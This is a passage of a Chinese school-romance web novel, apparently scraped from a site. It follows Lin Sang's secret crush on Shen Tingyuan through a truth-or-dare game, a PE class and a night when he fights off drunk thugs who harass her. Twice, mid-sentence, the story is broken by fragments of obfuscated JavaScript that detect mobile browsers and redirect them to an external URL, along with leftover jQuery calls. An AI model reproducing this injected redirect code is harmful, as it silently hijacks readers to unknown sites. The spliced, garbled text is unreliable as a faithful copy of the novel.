她好不容易给自己打完气,一放下书就发现有个女生手里拎了一袋东西,在沈听原旁边的小石凳坐下。 女生身侧还站了另外一个女生,林桑总觉得在哪见过,她想了想,发现是那天在食堂门口给沈听原递外套的那个女生。 林桑再一次举起手里的书,状似不经意地盯着那个方向。 女生笑着说着什么,沈听原低着头,眼睛被额前的碎发盖住,看起来兴致不高,时不时回两句,百无聊赖地一页一页翻着手里的课本。 这样持续了很久,最后女生起身,临走前像是特意叮嘱了什么,他才漫不经心地点了个头。 而那袋东西,还停留在小石桌上。 过去有人当面送他东西他都没收过,偷偷塞进他桌肚里的,能还的都还回去,找不到人都是给游书涧和其他同学。 这还是这么久以来,他第一次收下女孩送的东西…… 这个事实让林桑手脚冰凉,她一时之间踌躇不已,随后脑海里浮现出一个想法。 林桑提前回了教室,晚自习开始前大部分人都喜欢自己找个地方背书,偶尔有那么几个待在教室不下楼的,也都是抬了凳子出去坐在走廊。 这会儿教室里空荡荡的,林桑进门后假装只是路过,用最快的速度将课本放到沈听原桌上。 走到后排时,林桑没忍住回头看了一眼,反正也不是她拿的,不解释不道歉应该也没事的。 总算成功把课本还了回去,她长吁了一口气,门外传来声音,林桑立马回了座位。 …… 第二节自习进行了不过十多分钟,顶上的灯刺啦两声,教室瞬间陷入一片黑暗中。 全班异口同声:“哦豁!” 整栋楼传来欢呼和口哨声,老师出去看了一眼,大手一挥让他们自己玩。 有人凑在一起聊天,有人唱起了歌,有人在走廊吹风,有人在玩真心话大冒险,更有甚者,玩起了躲猫猫。 云亭本就热,这段时间天气格外好,一到晚上就躁得慌。 适珈蓝和鲁琳加入了躲猫猫大队,方倚霏拍了拍林桑:“出去吹吹风呗。” 两人起身往外走,玩大冒险的那群人把桌椅挪开了坐在靠近后门的位置,中间放了一支手电,但电力不太足,只能让人勉强看清桌上的牌。 沈听原不知道什么时候加入的,微弱的光打在他脸上,许是刚输了一局,他身子往后靠,挑眉道:“来吧。” “真心话还是大冒险?” “真心话。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780577|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 问话的人摩拳擦掌半天才说:“上晚自习前拎回来的零食什么情况,有人可看到了,是个小姑娘送的。” 沈听原笑:“我当会问什么隐私的问题呢,就这啊?” “不要试图转移话题。” “没什么情况。”沈听原一脸坦荡,“之前顺手帮了她个忙,东西是给我的谢礼,人找了我好几次,就单纯的想谢谢我,我再拒绝也不合适。” 他没必要骗人,事情是真是假以后总能看得出来,没挖出什么料,问话的人撇撇嘴:“继续继续,我就不信今晚从你们身上捞不到半点八卦。” 林桑只模糊听到了问话的人让沈听原不要转移话题就出了教室,她跟着方倚霏找了个空位,抬头看着天上的星星发呆。 方倚霏仰头看了一会儿,开口道:“林桑,和我讲讲班长过去的事呗。” 林桑“啊”了一声:“我知道的也不多。” “没事,你知道多少就讲多少。” 林桑和李宇栖当时进校的时候一个第一,一个第二,分到一个班就算了,就连选的位置也是一前一后。 她还没认清人,他已经跟班上大半的人打成一片,在见到她坐在前面时,李宇栖十分自来熟地说看来未来三年都只能做个万年老二了。 林桑那个时候觉得他挺莫名其妙的,后来熟悉后发现他就是没人管,随性惯了,天不怕地不怕的,还特别话痨,碰上谁都能跟人聊两句,哪怕不认识。 妥妥的社交悍匪。 李宇栖父母都在东城,那是一个沿海城市,离云亭很远。 他一到假期就会往东城跑,大概在初二上学期那会儿,他Q/Q动态里突然出现了一张图片,没有任何文案。 照片上,是他和一个女生的合照,两脸相贴,一切不言而喻。 开学后李宇栖就被一群人缠着盘问,他也没藏着掖着,说是初一假期过去的时候就认识了,女生一直追他,他嫌烦就答应了。 嘴上虽然这么说,可林桑发现他其实挺认真的,反倒是初中毕业那个假期,女生比他大了几岁,考上东城大学后一脚把他给踹了。 李宇栖还因此消沉了一段时间。 至于他的交友情况和过去的学习情况什么的,林桑没提,这些方倚霏早了如指掌,她想打听的,不过是李宇栖过去的情感状况。 方倚霏听完,眼神落寞,低垂着头喃喃:“难怪以后要考东大。” 高一开学自我介绍的时候,大部分人说完名字和来自哪后就不知道说些什么,陈雪就鼓励大家可以把想说的都说出来,以后想考哪个学校也可以说一说,正好大家互相监督。 一脚才踏入高中,过去考虑最多的不过是考一中还是附中,谈起以后想考的大学的人很少。 方倚霏那时一个人坐在座位上,只顾着埋头偷偷看小说,压根没仔细听。 可很久以后,她却十分清晰地记得,李宇栖说以后要考东城大学。 偷偷喜欢一个人是什么滋味,林桑再清楚不过,她听到了方倚霏说的话,却没多问。 倒是方倚霏沉默了一会儿突然问她:“你不好奇我为什么喜欢他吗?” “喜欢”,简简单单两个字,几笔就能写完,却是道令无数人穷极一生都解不开的题。 一个抬眸,一个对视,一场意外,任何时候,它都有可能滋生,然后在你未曾察觉的瞬间里如藤蔓般肆意生长,迅速缠绕整颗心脏,扎根在最深处。 见她不说话,方倚霏自顾自地说:“是在一节物理课上。” 方倚霏对理科不感兴趣,成绩也是一塌糊涂,碰上理科课都放任自己开小差。 偏偏那天运气不太好,她开小差盯着窗外看球场上打球的人时被物理老师逮了个正着。 她看着黑板上的题,喉头像是被堵住,想说点什么又不知道从何说起。 物理老师无奈地摇摇头,叫了李宇栖起来回答问题。 李宇栖当时坐在第一排,方倚霏寻思他成绩是不错,但一节课都见他在睡觉,恐怕也悬。 谁知李宇栖起身随意扫了一眼就答出来了。 物理老师满意地点点头,让李宇栖坐下,方倚霏站着听。 她虽然有些窘迫,但还是劝自己这没什么的。 她都做好了站一节课的准备,结果李宇栖说让一个小姑娘站着听一节课多不合适啊,正好他困,让他站吧。 他个高,站在第一排会挡住后面的同学,还特意跑到后门边站的。 方倚霏机械地看着他走到后门站定,莫名想起迎新晚会那会儿每天辛苦训练,到颁完奖才发现给人做了嫁衣,她和鲁琳气不过在舞台后方和人争论,但学生会的人和那个唱歌的学姐熟,自然护着,她们两个人,势单力薄,很快就落了下风。 那时,李宇栖也像这般,忽地出现,挡在她们身前,帮她们解了围。 两个画面渐渐重合,心跳似是漏了半拍。 后来,她的视线总会不受控地落在李宇栖身上。 因为他是班长,所以和他接触的次数会很多,过去的从容在那天之后换成了紧张和僵硬,和他说的每一个字眼,都要在心里斟酌无数次。 她的内心深处,竟在害怕他读懂她眼眸中流动的情绪。 时间一长,他能触动她的地方越来越多,她才意识到,自己或许是喜欢上他了。 即使没有那两次解围,她也会在未来的某个节点为他心动。 他们之间的羁绊,或许早在她清楚地记下他以后要考东城大学开始,就产生了。 “挺随意的吧。”方倚霏自嘲一笑,“人家随手帮个忙我就能喜欢上。” “没有。”林桑看向她,认真地说,“喜欢就是喜欢,哪有什么随意不随意的。” “再说了,开头还挺像咱两平时在寝室看的那些小说的,再怎么说都算个小说女主了吧。” 方倚霏被逗笑,抬手一把搂住林桑,散去愁容道:“你倒是会抬举我。” …… 这次停电不是单纯的学校跳闸,而是全县大面积停电,一时半会儿是不会来了。 老师上楼把人都喊了回去,交代了几句就让他们该回家的回家,该回宿舍的回宿舍。 所有人都借着老师手里大手电的光开始收拾东西。 林桑合上课本,桌面上出现一张小纸条。 鬼使神差的,她一把抓起纸条揣进了兜里。 一直到洗完澡准备洗衣服,掏裤兜里的东西时,林桑才想起这个纸条。 熄灯时间越来越近,她没打开看,把纸条和兜里的纸一起扔在枕头边。 等弄完一切,灯早就熄了,好在窗帘半开着,有月光和外面的路灯照明。 林桑爬上床,躺下后摸到枕头边的纸条,好奇心驱使她打开,借着外面的光线,林桑看清了上面的字—— 以后要不要跟我结婚。 内容并不是手写的,而是一张小贴纸,上面的字是特意设计过的艺术字。 想到晚上有人玩真心话大冒险,林桑估摸着是谁被整了。 好在纸条扔在她那时,她本人不在场,避免了一场闹剧。 她没怎么在意,把纸条捏做一团,随手放在枕边准备早上起床后再扔。 * 隔天中午,林桑在厕所门口等方倚霏她们,班上的两个女生从厕所出来,和林桑打了个招呼,在离她一米左右的地方停住。 林桑听到她们提起昨晚的真心话大冒险。 “昨晚那个纸条恐怕是扔地上了,真可惜。” “对啊,早知道就指定对象了,比来随机的刺激多了。” “沈听原选那句话的时候我都做好了看戏的准备来着,非得来个随机扔,黑灯瞎火的,还指望有人问起让他去认领纸条,这跟放水有什么区别。” “你别说,还真是,我们后面玩的人可都是自己亲笔写的话,只有他用的贴纸。” “这别人也认不出来是他的字,只要没人提,他就能安心装死。” “这么说咱们都玩亏了,下次有机会得让他补回来。” “……” 那两个女生等的人出来了,再后面的话林桑就听不到了。 原来,那张纸条,是他扔的。 早上起床的时候纸条就已经不见了,林桑有些懊恼,一直惦记着这件事,晚上回到寝室第一件事就是把床下的箱子都拖出来。 她趴在地上找了半天,寝室里的人都好奇她在找什么,看她半天没找出来,都说要帮忙。 林桑随口说只是纸巾沿着床缝掉下去了,不用帮忙,找不到就不要了。 没人怀疑,她又往下趴看了两眼,终于在最里的角落看到那张纸条。 林桑费了好大的劲才把纸条捞了出来。 一张满是褶皱的纸条,林桑也不知道自己为什么非要执着。 她一直觉得是个很理智的人,可一面对他,总会做出一些不可控的,在平日里看来很无意义,匪夷所思的事。 可偏偏就是这些无意义的事,满足了她笨拙的心事。 9. 第 9 章 时间一晃步入四月末,云亭的天热得越发难耐。 林桑和方倚霏躲在树荫下,身上沁出不少汗,有风吹过时,凉阴阴的。 过去的体育课都是跑两圈,做完准备活动后就让他们自由活动,打球的,躲在树荫下聊天玩游戏看书的都有。 总之,体育课对他们来说是个休闲的好机会。 可上周体育老师出了场小车祸,又是手擦破皮又是腿骨折的,现在还打着石膏躺医院,学校就调了带其他几个班的体育老师来带他们。 第一节课就是令人闻风丧胆的八百米和一千米测试。 头顶一轮烈日,脚下是热气蒸腾的跑道,身后是体育老师魔鬼般的催促声,林桑觉得自己像是热锅上的蚂蚁。 好不容易跑完了能舒服的歇会儿,林桑没注意那头男生也已经开始做准备。 林桑盘腿坐在地上,双手撑在身后,仰头闭眼期盼着大榕树的枝干再多摇曳一些,再赏她一阵凉风。 凉风没等来,倒是脚边有个什么东西滚了过来。 林桑低头,一块黑色的机械表晃动几下,稳稳当当停在脚边。 “帮我拿一下。” 李宇栖的声音从远处传来,林桑默不作声地抬手把表往旁边一挪,随后装作什么也没发生过。 方倚霏垂眼看着紧挨在腿边的机械表,心不在焉地说:“他应该……是让你帮忙拿。” 林桑装傻:“是吗,他也没提我名字,离谁最近就是让谁帮忙拿的。” 方倚霏:“……” 林桑转头冲她一笑:“拿着吧。” 方倚霏脸上有一层薄薄的潮红,不知是跑完步还没恢复过来,还是羞出来的。 林桑看着她拿起机械表,用放在腿上的校服外套小心翼翼地擦着上面压根不存在的灰,偷偷笑着别开眼。 她们坐在跑道边上,继李宇栖后,班上有几个男生也让她们帮忙看表和外套。 他们丢得随意,林桑和方倚霏把东西一一捡起来收好。 林桑低着头,下一瞬,眼前只剩一抹白。 校服外套内侧白色的纱网材质硬,戳得她鼻头痒。 一股淡淡的香味钻进鼻间,很好闻,林桑没忍住轻轻嗅了一下。 意识到自己的行为多么的莽撞,她一把扯下衣服,看着已经跑远的人,又低头看了看怀里的衣服。 她有些不自在地问:“谁扔的啊?” 方倚霏:“沈听原。” 听到这个名字,腿上的衣服像是烫手山芋一般,林桑即刻撒手,浑身变得僵硬。 衣服袖子落了地,她又连忙提起来抖了抖,然后把衣服叠好,下意识递给坐在一旁的方倚霏。 方倚霏人往后仰,避之不及:“给我干嘛?” 林桑也为自己的举动感到莫名,结巴道:“他……他应该……应该是让你帮忙拿。” 方倚霏似是想到什么,狡黠一笑:“罩谁头上的就让谁拿。” “再说了,我跟他可不熟。” 林桑小声反驳:“我也不熟……” “你还不熟,他都找你问多少回题了。” 林桑:“……” 她哑口无言,只能收回手把衣服放到腿上。 自从上次月考一战成名后,每天都会有不少人找她讨论题目,其中就有沈听原。 林桑以为他会问听力提分技巧,没想到他每科都问一点,唯独不问听力。 他找她问问题的频率其实不算高,屈指可数,每次交流都是他问,她讲,最后以他道谢结尾。 这好像……也算不上熟,要说陌生,也算不上。 …… 操场边种了不少树,跑道一半藏在树荫下,一半则暴露在烈日下,没人想受烈日烘烤,跑到太阳下时就加速,到了树荫下又匀速慢跑。 林桑平时不太敢直白地看他,得之不易的机会,她的眼神贪婪地落在他身上。 看了一会儿,她倏然记起,这样的场景,很久以前也出现过。 林桑记得那是初二上学期时的一次体育课,他们班调了课,正好碰上和沈听原他们班一起。 当时还有林景他们班也在上体育课,操场有限,加上有个体育老师一次性得带两个班,就和另外一个老师商量了,把三个班的男女生合在一块,然后分成两组开始测跑。 当时也是女生结束后男生才开始,林桑和好友汪亿涵站在操场边,汪亿涵一看到林景过来就为他加油,她和沈听原认识,见沈听原来了就拉着林桑,让她跟着自己喊。 林桑那时候情窦初开,还没学会如何隐藏心绪,光是看到沈听原就紧张到手脚都不知道往哪放,哪还说得出话来。 只能在心里默默地为他一遍一遍喊着加油。 跑了大概两圈,林景把手里的表扔给汪亿涵,说是太重了影响他摆臂。 他扔完,也有人跟着扔了一块表过来,那人没说话,扔完就开始冲刺。 汪亿涵捡起地上的表塞进林桑手里,笑着说:“拿着,一会儿你不敢还我去还就行。” 少年脚下不停,发丝轻扬,衣角飘荡,像第一场春风,只匆匆经过,却催发无数悸动。 林桑紧紧握着手里的表,似是这样就能抓住那飞扬的少年,留住那场春风。 …… 男生跑完后离下课还有不到五分钟,集队报数完后体育老师就放他们下课。 一群人一哄而散,林桑抱着怀里的校服走到沈听原身边递给他。 沈听原接过:“抱歉,没想到会盖你头上。” “没事。”林桑说。 喜欢一个人,但怕被察觉时,最先学会的就是面对对方时,冷静沉着,和面对其他人时无异。 事后却如战败的常胜将军,扶着剑缓缓倒下。 沈听原和游书涧一起离开后,林桑肩膀一塌,双手抑制不住地颤抖着,她在舌尖上咬了一下,又狠狠地在大腿上掐了一把才恢复常态。 她转头时,方倚霏站在她身后,双手抱臂看着她。 她脸上带着得意的笑,拖长腔调道:“林桑,小秘密被我发现喽。” 林桑无力反驳,嘴唇翕动,什么也没说。 方倚霏看着她呆愣的样子笑出声,上前一把勾着她的肩膀:“怕什么,我的你不也知道。” 她凑到林桑耳边,小声说:“互相保密嘛。” 林桑缩了缩脖子:“好。” 两人慢悠悠回到教室时,教室里已经不少人,不是守在饮水机面前灌水就是站在座位上拎着饮料猛灌。 林桑和方倚霏原本也打算去小卖部的,可小卖部里人爆满,在门口挤了半天都进不去只能作罢。 本想着回教室接水喝,这会儿只能眼睁睁看着有人将最后一杯水接走。 林桑:“……” 方倚霏:“……早知道我在小卖部挤死也买一瓶水。” 距离上课越来越近,水房又有点距离,没人会在这个时间跑去水房搬水。 两人回了座位,都做好了渴一节课的准备。 不一会儿,有人放了个袋子在桌上。 换过座位后林桑坐里,而方倚霏则坐在外面,袋子是放在方倚霏桌面上的。 她抬头对上李宇栖的视线,一把将东西推到林桑桌面上。 林桑:“……?” 瞥见她的动作,李宇栖笑:“给你们买的,就当是帮我看表的谢礼。” 方倚霏“啊”了一声,小声嘀咕:“这样啊。” 李宇栖点了下头,往前走回了座位。 林桑把袋子里的苏打水拿出来拧松瓶盖递给她,凑到她耳边低声道:“喝一口降降温吧,你脸都红了。” 方倚霏双手捂脸轻叹道:“啊,丢死人了……” …… 晚饭过后,方倚霏和鲁琳去上厕所了,林桑和适珈蓝拿着碗回教室。 一进教室,林桑就发现她和方倚霏的桌面上都放了一瓶李子园。 想到进教室前在走廊看到的人。 她下意识往窗边看去,沈听原像是有感应一般,转过身斜倚在栏杆上,举起手里喝了一半的李子园晃了晃。 林桑看到他用口型说:“谢谢。” 她一愣,小幅度摇了摇头,低头把李子园收进桌肚里。 再看过去时,目光所及只有沈听原挺阔修长的背影。 落日熔金下,他的发丝飘扬在空中,整个人渡了一层薄薄的金光。 只要她一直如他一般坦荡,她心底的秘密,他或许就不会发现。 她就能从稀松平常的生活里,获得像今天一般的,小小的满足。 * 又一轮月考结束,五一小长假也如期而至。 放假那天林桑到家把东西放好后就接到了林景的电话,让她晚上出来吃饭。 约定的时间是晚上八点,林桑洗了个澡把换下的衣服都洗好后才出门。 林景定的地方是一家特色石锅鱼,开在一条巷子尽头,下了公交后还得走几分钟。 原本林景说要来接她的,但临时被奶奶支去买东西,等过来估计比她还要晚几分钟,两人就约好了在店里会合。 林桑下了公交后往巷子里走,走到一半,不知道路灯什么时候坏了,巷子里越来越黑。 林桑摸出手机解锁,打开手电筒继续往前走。 走着走着,不远处传来一道凄厉的猫叫声,听得林桑头皮发麻。 不知是心理作用还是怎么,明明天热到穿短袖短裤还是难耐,这会儿却让她觉得有些冷,尤其是后背,一阵发凉。 强烈的不安涌了上来,林桑不敢再继续走了,扭头打算原路返回,去路口等林景。 谁知,她一转身,身后光亮处站了几个混混。 为首的混混顶着一头干枯黄发,乱糟糟的,像鸡窝一样,嘴里叼着一支烟,眼睛半睁半闭地打量着林桑,他笑着说了什么,林桑没怎么听清,但从其余人听完后顿时开始不怀好意地哄笑来看,不会是什么好话。 黄毛抬脚朝林桑走来,越靠越近,他身上浓重的酒气熏得林桑直犯恶心。 这条巷子是个死胡同,四面不是高墙就是紧闭的大门,这会儿打电话叫人也来不及,林桑唯一的选择就是转身跑到尽头躲到店里。 黄毛眼神赤裸直白,让人将他内心那些龌龊的想法一览无余,他冲林桑吹了个流氓哨:“美女,穿这么少出门,去见男朋友啊。” 见林桑往后退,他又道:“妹妹怎么这么不解风情,哥哥我是怕你冷,在关心你啊。” “哥哥有法子让你马上暖和。” “这样,你陪哥几个玩玩,哥哥就告诉你,怎么样?” 他说着,步伐迈得更快了,伸手就要抓林桑。 黄毛脸上带着的笑令林桑一阵恶寒,她退了几步,瞥见侧边门口竖了几根半人高的棍子,她谨慎地往旁边挪,伸出腿勾起一根棍子拎在手里。 黄毛见状大笑起来:“屁大点东西,你是准备给我挠痒痒?” 林桑紧握着手里的棍子,虽害怕紧张到浑身发颤,还是吞了吞口水镇定道:“你大可以过来试试。” 黄毛缓缓吐了口烟,恶狠狠地说:“小丫头片子,还给脸不要脸了,看我不……” 狠话放到一半,黄毛闷哼一声,捂着后脑勺扭头大骂:“哪个憨杂种敢打你爹!” 林桑也下意识跟着看过去,沈听原站在不远处,一手插兜,一手抛玩着一个鹌鹑蛋那么大的石子。 沈听原微扬下巴,视线轻飘飘落在黄毛身上,扯出一个冷笑道:“咯咯咯的,我当是有老母鸡下蛋想要吓吓来着。” 他顿了顿,语气轻狂傲慢,夹了几分讽意:“谁知道是只臭水沟里的老鼠和猪杂交出来的丑东西。” 变相骂人,赤裸裸的挑衅。 黄毛勃然大怒,指着他破口大骂,“你他妈的,今晚不送你见阎王老子跟你姓!” 沈听原轻哼道:“跟我姓?你想得挺美。” 黄毛说着就冲了过去,其他几人也很快加入,场面一时混乱不堪。 林桑慌了神,六神无主时,眼前的画面忽地被扑面而来的东西挡住,因为带有一股略微熟悉的清香,哪怕没看清那是什么,林桑还是下意识抬手接了下来。 沈听原的声音在这时响起,“别看,交给我,我马上处理好。” 他温和的嗓音像是有魔力,林桑一秒稳住心神,很快拿起手机解锁报了警。 那几个混混没什么技巧,空有一身蛮力,又都喝了酒醉到脚步虚浮,即使人多势众,还是落了下风。 怕过去会给沈听原添乱,林桑和警察说明情况后,只敢抱着他的外套停在原地。 很快,其余人都趁机跑了,只有黄毛被沈听原死死摁在地上,不得动弹,也没法逃脱。 黄毛一脸不服,喘着粗气,混浊的眼里布满了红血丝,看起来恐怖极了,“别他妈得意,一会儿他们叫了人过来,有你求饶的时候。” 话罢,他突然盯着林桑,露出一个阴森森的笑,“到时候,老子让你好好欣赏欣赏,这个喜欢穿这么少出门勾引人的婊子究竟有多带劲。” “她这种清/纯/学/生/妹最有意思了,你还没感……” 黄毛话未说完,就被沈听原拽着头发和地面来了个亲密接触,他一张脸紧紧贴在地面上,嘴里的谩骂变得含糊不清。 沈听原抬手在他脸颊拍了拍,嗓音里透着无尽冷意,“穿的少勾引人?” “什么狗屁歪理。” “依我看,在你这种人渣眼里,人姑娘就是裹成木乃伊也是在勾引人。” 沈听原抓着黄毛的头发,饶有兴致道:“你运气不错,小爷我今天有心情,正好教教你怎么做人,学点正理。” 黄毛“呸”了一声:“小杂毛,轮不到你来教育老子!” “是吗?”沈听原冷下脸,微眯着眼,一把将他拎起来抡到墙上。 黄毛贴着墙壁缓缓往下滑,沈听原信步上前,一时不备,被黄毛从墙角抓的土糊了眼。 他低头揉着眼睛,没注意到黄毛从裤兜里摸出一把折叠刀。 林桑一直眼睛一瞬不眨地观察着他们,眼前闪过一抹银色亮光,她瞪大眼睛,没来得及细想,身体先行作出了反应。 黄毛手里的折叠刀被林桑一棒打得飞出去老远。 这时,沈听原缓过来了,确认林桑没事后,他走上前一脚将黄毛踹飞出去,又狠狠补了几脚。 黄毛蜷缩在地上痛苦地呻吟着,林桑看得一愣一愣的,低声提醒他:“一会儿警察该来了……” 沈听原身形明显顿住,很快便恢复。 为了防止黄毛又耍花招,沈听原把黄毛的手反剪在身后,再一次将人按在地面上。 不多时,警察来了,两人跟着去做了笔录。 等两人从派出所出来,林桑电话都快被林景打爆了。 电话一接通,林景焦急的声音穿过电流传来:“你在哪呢?” 他声音太大,炸得林桑耳根疼,她把手机拿远了些,抬头看着门口的几个大字说:“派出所。” 林景“啪”地挂了电话。 沈听原轻声问:“怎么了?” 林桑看着已经挂断的电话,尴尬地笑了一下说:“我哥约了我吃饭来着,没等到就一直找我。” “那个……”林桑犹豫着说,“你先走吧,我等等我哥。” 她说着,将叠得整齐的外套递给他道:“今晚谢谢你,改天方便的话,我请你吃饭吧。” 上次校园卡被他捡到说好的请他吃饭,因为沈听原一直没提,她也不太敢主动问,这次正好借机再提一次,因为这个小私心,林桑有些紧张,不太敢看他。 沈听原抬手接过外套,随手一甩,将外套挂在肩上,微微俯身道:“大晚上的,你刚刚又经历了不好的事,多个人多份安全感,我陪你等吧。” 和偷偷喜欢的人独处这种事,来之不易,每一分每一秒都显得格外珍贵,让人无限贪恋。 怕耽误他的时间,林桑用最后一丝理智将贪欲打败,指了指身后说:“这里蛮安全的,我一个人没问题。” 沈听原正想开口说点什么,前方传来一阵刺耳的摩擦声,车都还没停稳林景就大步流星地走了过来。 “怎么回事?” 惊讶于他的速度,林桑顿了一瞬:“哥,你怎么这么快?” 林景面上的火气没消,不爽道:“老子以为你被人拐了,你电话再晚接一秒我就过来报案了。” “到底怎么回事?” 林桑把事情的经过大致讲了一遍,还没说完,林景就气势冲冲地往里走。 “什么狗屎玩意,老子非得给他剁成八百块,全部扔茅坑!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780578|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林桑急得立马拉住他:“哥,这是派出所,还没剁你可就先进去了。” “再说了,你以前教过我几手,我有能力自保的,这不是没事嘛。” “而且……”她舔了舔唇,看向站在一旁的沈听原,“他帮了我呢,真没事。” 林景胸口不停起伏,还是气不过,指着里面骂:“让我碰上非得剁了你个龟孙子!” 林桑好说歹说才把林景劝到店里,林景一个人灌完了一壶苦荞茶,总算舒坦了。 见他低着头捯饬手机,林桑试探地把菜单推了过去。 林景抬头扫了一眼:“刚点的鱼几斤来着?” “老板没说啊,你不是让他抓条够三个人吃的么。”林桑说。 林景啧了一声,起身道:“菜你们看着点,我下去再挑条鱼。” 他走后,饭桌上只剩下林桑和沈听原。 沈听原低头看着手机,今晚太过戏剧,林桑这会儿才注意到沈听原身上穿的是一件黑色无袖背心,裸露在外的手臂上肌肉微微鼓起,线条流畅,下搭同色系长裤,衬得他腿更加修长,脚上是熟悉的黑白撞色球鞋。 说起来,这还是她第一次用这么近的距离观察他穿除了校服以外的衣服。 明明是同一个人,给她的感觉却不同。 这样的他身上多了几分凌厉的气息,那股被校服封印的痞劲也一览无余。 沈听原坐在她对面,林桑把菜单递给他,他微微抬起头,黑色鸭舌帽下一双眼睛又清又亮:“你点吧,我不挑食。” 林桑点头:“哦,好。” 主角是鱼,所以菜单上都是一些素菜和饮料,林桑看着勾了几个,林景带着一群人上了楼。 服务员带他们去了更大的包厢,林桑看着熟悉的不熟悉的面孔,一时间如坐针毡。 偏偏那几个没见过的男生还不停地和她打招呼,林桑硬着头皮一个个应完,他们和林景聊起了天,林桑才总算得以脱身。 林桑左手边坐了林景,右手边则坐了沈听原,柳靳于慢了一步没抢到她身边的位置,只能发消息问她今晚碰上什么事了。 林桑低着头回复他,再抬起头时,碗筷已经被人拆了用茶水烫过,整齐地摆放在她面前。 她以为是林景弄的,没怎么在意,低头打字打到一半猛然意识到什么,往左边看了一眼,林景碗筷上的包装袋都还没拆。 林桑梗着脖子转头,沈听原的碗筷摆放角度和她的出奇一致,再一看,整个桌上只有他们的碗筷是拆出来摆好的。 沈听原倒了杯茶水,偏过头,视线相撞,两人都避之不及。 沈听原拎着茶壶的手顿了一下,问她:“你要吗?” “不了。”久违的不自在又席卷全身,林桑收回眼,“这个,谢谢。” “不客气。”沈听原说,“跟着家里人出门吃饭的时候习惯帮他们弄好,一时顺手,希望你别介意。” 林桑脸越来越热,她喝了口饮料才说:“没事,我不介意。” 鱼都是现杀现处理,菜都上齐了快二十分钟服务员才端着鱼上来。 服务员把鱼放进石锅后,另一个服务员立马拿起一旁草帽一样的盖子盖了上去。 石锅鱼不加一滴水,全靠蒸汽,开火前服务员特意提醒他们暂时先将椅子往后挪一些。 不多时,一阵阵白汽从草帽盖子钻出来,烟雾缭绕,飘向四面八方。 锅里的鱼扑通扑通开始沸腾,不知道是不是火力太猛,一大股白汽“嘭”的一声钻了出来,直勾勾往林桑的方向袭来。 林景伸出手想要护她时,有人先他一步将林桑拉了过去。 林景看着自己空空如也的手,再看向搭在林桑肩上的那只手。 林景:“?” 林景:“我伸手是护我妹,你伸手干什么?” 他在沈听原手上拍了一下:“撒开!” 沈听原仓皇地收回手坐正。 肩上没了束缚,林桑脑子里一片空白,木着身子慢慢靠回原位,一颗心砰砰直跳,紧张到好半晌才找回呼吸频率。 林景还在等待答案,沈听原手拢在唇边轻轻咳了一声,气定神闲地说:“下意识的反应啊,就算我旁边坐的是你,我也会伸手,不会眼睁睁看着你被蒸汽轰的。” 林景:“……那我还真是谢谢你。” 桌上的人都笑个不停。 林桑在一片笑声中低垂着眼,内心抑制不住的有些低落。 是啊,人只有面对喜欢的人时,才会给无尽的特权和特殊关照。她从未勇敢过,甚至都没在他面前好好介绍过自己,那她在他眼里,无非就是个寻常普通的同学罢了。 她怎么能有那些过度的联想和期待。 …… 没多久,鱼熟了,服务员帮他们关了火后退出了包厢。 黑色的石锅里,两条鱼泡在奶白浓稠的汤里,一股鲜香的味道扑面而来。 浓郁的香味勾得方才只顾着聊天的人都迫不及待地拆起了碗筷。 打汤的勺子在沈听原手边,游书涧拆完碗筷冲他喊了一声:“九分哥,汤勺递我一下。” 九分哥…… 林桑一听就知道这个外号从何而来。 林景一脸稀奇,碗筷也不拆了:“九分哥?” 游书涧笑:“他上次英语听力考九分。” 林景更稀奇了:“不是吧哥们,我都十二分呢。” 沈听原一脸从容:“我统共也就听了六题,算下来,满分呢。” 林景好笑道:“六题?你听听力睡着了啊?” “没。”沈听原说,“上厕所出来碰上有人晕倒了,帮忙送医院没赶上。” 游书涧喝了口汤:“那你又是被公开处刑又是被找去谈话的时候怎么不说。” “指不定能放你一马呢。” “我就顺手帮个忙,考了低分想争回面子到处说是因为碰上意外,一场月考而已,没那个必要。” 沈听原笑了一下,“再说了,也没你说那么严重,让我帮忙的那个女老师找陈姐解释过了,她找我去谈话只是让我名次一下子降了别太在意。” “……” 林桑很早以前就知道那次考试前晕倒的女生叫什么名字,但一直没对上人,直到有次去上厕所听到有人喊了那个名字,她下意识看过去发现是给沈听原送零食的那个女生。 这么说来,在食堂门口看到的女生是那个女生的朋友,替她给沈听原还外套,后面买了零食沈听原会收下也是因为那只是简单的谢礼,和他平时收到的那些意义不一样。 理出来龙去脉后,林桑莫名有些羞愧。 从杨思怡到这个女生,她为什么老是看到他身边有人就克制不住地往那方面想呢。 她有些心虚地往旁边瞟了一眼,好在沈听原低头吹着碗里的汤,没注意到她的视线。 …… 吃完饭后已经临近十一点。 其他人都走了,这会儿公交早没了,林桑跟着林景回了鸣桐巷。 她洗漱完出来,房门被人敲响,林景站在门口,下巴朝客厅的方向一扬:“出来聊会儿。” 两人坐在沙发上,电视还放着,却没声。 看来林景一直没上过楼。 林桑捏着怀里的抱枕,安静等待林景开口。 “知道我今晚为什么突然叫我那群朋友过来吗?” 林桑点头:“知道。” 过去林景总觉得自己不是什么正经人,交的朋友也和自己差不多,怕带坏她,从不让她跟他那群朋友接触不说,有人甚至不知道她是林景的妹妹。 